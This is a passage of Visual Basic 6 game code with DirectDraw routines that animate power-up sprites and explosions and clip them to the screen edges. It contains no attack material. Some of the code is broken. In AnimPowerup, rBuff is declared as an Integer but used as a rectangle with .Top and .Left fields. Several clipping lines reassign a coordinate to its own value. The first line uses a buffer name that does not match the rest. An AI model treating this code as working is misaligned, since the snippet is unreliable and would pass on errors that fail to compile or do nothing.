    If yt > ResY - 10 Then rBuf.F.Bottom = rBuf.F.Bottom - (yt - (ResY - 10)): yt = (ResY - 10) + (yt - (ResY - 10))
    
    BackBuffer.BltFast xt, yt, DirectDraw_NavBar, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Sub AnimPowerup(pwr As Integer)
    Dim rBuff As Integer
    Dim ExX As Long, ExY As Long
    If NewGTC - PowerFrameT(pwr) > 100 Then
        PowerFrame(pwr) = PowerFrame(pwr) + 1
        If PowerUp(pwr) = 1 Then
            If PowerFrame(pwr) > 5 Then PowerFrame(pwr) = 0
        Else
            If PowerFrame(pwr) > 11 Then PowerFrame(pwr) = 0
        End If
        PowerFrameT(pwr) = NewGTC
    End If
    
    If PowerEffect(pwr) = 2 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 3
        Else
            Exit Sub
        End If
    ElseIf PowerEffect(pwr) = 3 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 2
            Exit Sub
        End If
    End If
    
    
    ExX = PowerX(pwr)
    ExY = PowerY(pwr)
    ExX = ExX - MeX: ExY = ExY - MeY
    
    rBuff.Top = 355 + (PowerUp(pwr) - 1) * 24
    rBuff.Bottom = rBuff.Top + 24
    rBuff.Left = PowerFrame(pwr) * 24
    rBuff.Right = rBuff.Left + 24
    
    If ExX < 0 Then rBuff.Left = rBuff.Left + Abs(ExX): ExX = 0
    If ExY < 0 Then rBuff.Top = rBuff.Top + Abs(ExY): ExY = 0
    If ExX > ResX - 24 Then rBuff.Right = rBuff.Right - (ExX - (ResX - 24)): ExX = ResX - 24 + (ExX - (ResX - 24))
    If ExY > ResY - 24 Then rBuff.Bottom = rBuff.Bottom - (ExY - (ResY - 24)): ExY = ResY - 24 + (ExY - (ResY - 24))
    If PowerUp(pwr) <> 0 Then BackBuffer.BltFast ExX, ExY, DirectDraw_Tuna1, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Sub AnimExpl(I As Integer)
    Dim xt As Integer, yt As Integer, rExpl As RECT
    Dim sw As Integer, sh As Integer
    Dim ExY As Integer
    If NewGTC - AnimExT(I) > 50 Then
        AnimExT(I) = NewGTC
        AnimExF(I) = AnimExF(I) + 1
…

Open this report in the interactive analyzer, or submit your own file for analysis.